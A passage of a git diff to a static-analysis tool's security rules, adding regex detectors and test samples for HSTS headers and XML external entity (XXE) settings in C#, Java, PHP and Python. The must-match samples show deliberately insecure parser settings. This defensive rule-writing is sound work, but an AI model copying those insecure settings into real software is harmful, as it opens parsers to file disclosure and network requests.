includeSubDomainsSuffix", + "Strict-Transport-Security: max-age=\"31535999\"; includeSubDomains", + "response.setHeader(\"Strict-Transport-Security\", \"max-age=31536000\");", + "response.setHeader(\"Strict-Transport-Security\", \"max-age=300; includeSubDomains\"); response.setHeader(\"Strict-Transport-Security\", \"max-age=63072000; includeSubDomains\");", + "add_header Strict-Transport-Security \"max-age=63072000\" always;", + "Strict-Transport-Security: \"max-age=31536000\"" + ], + "must-not-match": [ + "header(\"Strict-Transport-Security: max-age=31536000; custom=O'Brien; includeSubDomains\");", + "Strict-Transport-Security: max-age=31536000; custom=O'Brien; includeSubDomains", + "Strict-Transport-Security: custom=\"max-age=0; unrelated\"; max-age=31536000; includeSubDomains", + "Strict-Transport-Security: max-age=31536000; includeSubDomains", + "Strict-Transport-Security: max-age=31539999; includeSubDomains", + "Strict-Transport-Security: max-age=31540000; includeSubDomains", + "Strict-Transport-Security: max-age=31600000; includeSubDomains", + "Strict-Transport-Security: max-age=32000000; includeSubDomains", + "Strict-Transport-Security: max-age=40000000; includeSubDomains", + "Strict-Transport-Security: max-age=63072000; includeSubDomains; preload", + "Strict-Transport-Security: max-age=100000000; includeSubDomains", + "Strict-Transport-Security: max-age=00031536000; includeSubDomains", + "strict-transport-security: INCLUDESUBDOMAINS; MAX-AGE = 31536000", + "Strict-Transport-Security: max-age=\"31536000\"; includeSubDomains", + "response.setHeader(\"Strict-Transport-Security\", \"max-age=31536000; includeSubDomains\");", + "response.setHeader(\"Strict-Transport-Security\", \"max-age=\\\"31536000\\\"; includeSubDomains\");", + "header('Strict-Transport-Security: max-age=\"31536000\"; includeSubDomains');", + "add_header Strict-Transport-Security \"max-age=31536000; includeSubDomains\" always;", + "Strict-Transport-Security: \"max-age=31536000; includeSubDomains\"\nX-Other: value", + "response.setHeader(\"Strict-Transport-Security\", headerValue);", + "response.setHeader(\"Strict-Transport-Security\", \"max-age=\" + maxAge);", + "X-Strict-Transport-Security: max-age=0", + "response.setHeader(\"X-Frame-Options\", \"DENY\");" + ] + } +] \ No newline at end of file diff --git a/rules/default/security/xml/external_entities.json b/rules/default/security/xml/external_entities.json index 5e581331..15fccc07 100644 --- a/rules/default/security/xml/external_entities.json +++ b/rules/default/security/xml/external_entities.json @@ -88,8 +88,7 @@ "must-match": [ "shouldResolveExternalEntities=TRUE" ], - "must-not-match": [ - ] + "must-not-match": [] }, { "name": "Do not enable external entity resolution.", @@ -132,7 +131,265 @@ "must-match": [ "setShouldResolveExternalEntities: YES" ], + "must-not-match": [] + }, + { + "name": "Do not enable external entity resolution.", + "id": "DS132782", + "description": "DtdProcessing.Parse, or ProhibitDtd set to false, allows the XML parser to process a DTD. A DTD can declare external entities that read local files or make network requests, and can expand recursively to exhaust memory.", + "recommendation": "Set DtdProcessing to Prohibit, as shown in the worked example in ADM.10010.", + "applies_to": [ + "csharp", + "razor", + "fsharp", + "vb" + ], + "tags": [ + "XML.XXE" + ], + "confidence": "high", + "severity": "important", + "rule_info": "DS132782.md", + "patterns": [ + { + "pattern": "DtdProcessing\\s*(?:[=.]|<-)\\s*(DtdProcessing\\s*\\.\\s*)?Parse", + "type": "regex", + "scopes": [ + "code" + ] + }, + { + "pattern": "ProhibitDtd\\s*(?:=|<-)\\s*false", + "type": "regex", + "scopes": [ + "code" + ], + "modifiers": [ + "i" + ] + } + ], + "must-match": [ + "reader.DtdProcessing = DtdProcessing.Parse;", + "settings.ProhibitDtd = false;", + "settings.ProhibitDtd = False", + "settings.DtdProcessing <- DtdProcessing.Parse", + "settings.ProhibitDtd <- false" + ], + "must-not-match": [ + "reader.DtdProcessing = DtdProcessing.Prohibit;", + "settings.DtdProcessing = DtdProcessing.Ignore;" + ] + }, + { + "name": "Do not enable external entity resolution.", + "id": "DS132783", + "description": "Assigning an XmlResolver lets the parser follow external references in the document, including file:// and http:// URIs. ADM.10010's worked example sets XmlResolver to null.", + "recommendation": "Set XmlResolver to null, or leave it unset on frameworks where the default is already null.", + "applies_to": [ + "csharp", + "razor", + "fsharp", + "vb" + ], + "tags": [ + "XML.XXE" + ], + "confidence": "high", + "severity": "important", + "rule_info": "DS132783.md", + "patterns": [ + { + "pattern": "XmlResolver\\s*(?:=|<-)\\s*new\\s+Xml(Url|Secure)Resolver", + "type": "regex", + "scopes": [ + "code" + ], + "modifiers": [ + "i" + ] + } + ], + "must-match": [ + "reader.XmlResolver = new XmlUrlResolver();", + "settings.XmlResolver = new XmlSecureResolver(new XmlUrlResolver(), url);", + "settings.XmlResolver = New XmlUrlResolver()", + "settings.XmlResolver <- new XmlUrlResolver()" + ], + "must-not-match": [ + "reader.XmlResolver = null;" + ] + }, + { + "name": "Do not enable external entity resolution.", + "id": "DS132784", + "description": "Java XML factories resolve external entities by default. This file constructs a parser factory and contains none of the hardening features that disable that behaviour.", + "recommendation": "Call setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true), or set XMLConstants.FEATURE_SECURE_PROCESSING, before parsing untrusted input.", + "applies_to": [ + "java" + ], + "tags": [ + "XML.XXE" + ], + "confidence": "medium", + "severity": "ManualReview", + "rule_info": "DS132784.md", + "patterns": [ + { + "pattern": "(DocumentBuilderFactory|SAXParserFactory|XMLInputFactory|TransformerFactory|SchemaFactory)\\s*\\.\\s*new(Instance|Factory)\\s*\\(", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "conditions": [ + { + "pattern": { + "pattern": "disallow-doctype-decl", + "type": "regex", + "scopes": [ + "code" + ] + }, + "negate_finding": true, + "search_in": "same-file" + }, + { + "pattern": { + "pattern": "FEATURE_SECURE_PROCESSING", + "type": "regex", + "scopes": [ + "code" + ] + }, + "negate_finding": true, + "search_in": "same-file" + }, + { + "pattern": { + "pattern": "(IS_SUPPORTING_EXTERNAL_ENTITIES|SUPPORT_DTD)", + "type": "regex", + "scopes": [ + "code" + ] + }, + "negate_finding": true, + "search_in": "same-file" + }, + { + "pattern": { + "pattern": "ACCESS_EXTERNAL_(DTD|SCHEMA|STYLESHEET)", + "type": "regex", + "scopes": [ + "code" + ] + }, + "negate_finding": true, + "search_in": "same-file" + }, + { + "pattern": { + "pattern": "setXIncludeAware\\s*\\(\\s*false", + "type": "regex", + "scopes": [ + "code" + ] + }, + "negate_finding": true, + "search_in": "same-file" + }, + { + "pattern": { + "pattern": "setExpandEntityReferences\\s*\\(\\s*false", + "type": "regex", + "scopes": [ + "code" + ] + }, + "negate_finding": true, + "search_in": "same-file" + } + ], + "must-match": [ + "DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\nDocumentBuilder db = dbf.newDocumentBuilder();", + "XMLInputFactory factory = XMLInputFactory.newInstance();" + ], + "must-not-match": [ + "DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\ndbf.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);", + "TransformerFactory tf = TransformerFactory.newInstance();\ntf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);" + ] + }, + { + "name": "Do not enable external entity resolution.", + "id": "DS132785", + "description": "libxml_disable_entity_loader(false) re-enables the external entity loader, which allows a document to read local files through the file:// scheme.", + "recommendation": "Leave the entity loader disabled. On libxml2 2.9 and later it is off by default, so the call is usually unnecessary.", + "applies_to": [ + "php" + ], + "tags": [ + "XML.XXE" + ], + "confidence": "high", + "severity": "important", + "rule_info": "DS132785.md", + "patterns": [ + { + "pattern": "libxml_disable_entity_loader\\s*\\(\\s*(false|FALSE|0)\\s*\\)", + "type": "regex", + "scopes": [ + "code" + ] + }, + { + "pattern": "LIBXML_NOENT", + "type": "RegexWord", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "libxml_disable_entity_loader(false);", + "$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);" + ], + "must-not-match": [ + "libxml_disable_entity_loader(true);" + ] + }, + { + "name": "Do not enable external entity resolution.", + "id": "DS132786", + "description": "lxml resolves entities when resolve_entities is left enabled or a DTD is loaded, which allows a document to read local files or reach network resources.", + "recommendation": "Construct the parser with resolve_entities=False, no_network=True, and load_dtd=False.", + "applies_to": [ + "python" + ], + "tags": [ + "XML.XXE" + ], + "confidence": "medium", + "severity": "ManualReview", + "rule_info": "DS132786.md", + "patterns": [ + { + "pattern": "\\b(?:(resolve_entities|load_dtd)\\s*=\\s*True|no_network\\s*=\\s*False)\\b", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "parser = etree.XMLParser(resolve_entities=True)", + "parser = etree.XMLParser(load_dtd=True, no_network=False)", + "parser = etree.XMLParser(resolve_entities=False, load_dtd=True)" + ], "must-not-match": [ + "parser = etree.XMLParser(resolve_entities=False, no_network=True)", + "parser = etree.XMLParser(\n resolve_entities=False,\n load_dtd=False,\n no_network=True,\n)", + "parser = etree.XMLParser(load_dtd=False, no_network=True)" ] } -] \ No newline at end of file +] diff --git a/rules/default/security/xml/xslt_scripting.json b/rules/default/security/xml/xslt_scripting.json index ba27f6a2..ba746105 100644 --- a/rules/default/security/xml/xslt_scripting.json +++ b/rules/default/security/xml/xslt_scripting.json @@ -5,7 +5,8 @@ "description": "XSLT Scripting is a feature that should only be enabled if script support is necessary and you are certain this is used in a trusted environment.", "recommendation": "Disable XSLT scripting.", "applies_to": [ - "CSharp" + "csharp", + "razor" ], "tags": [ "XSLT"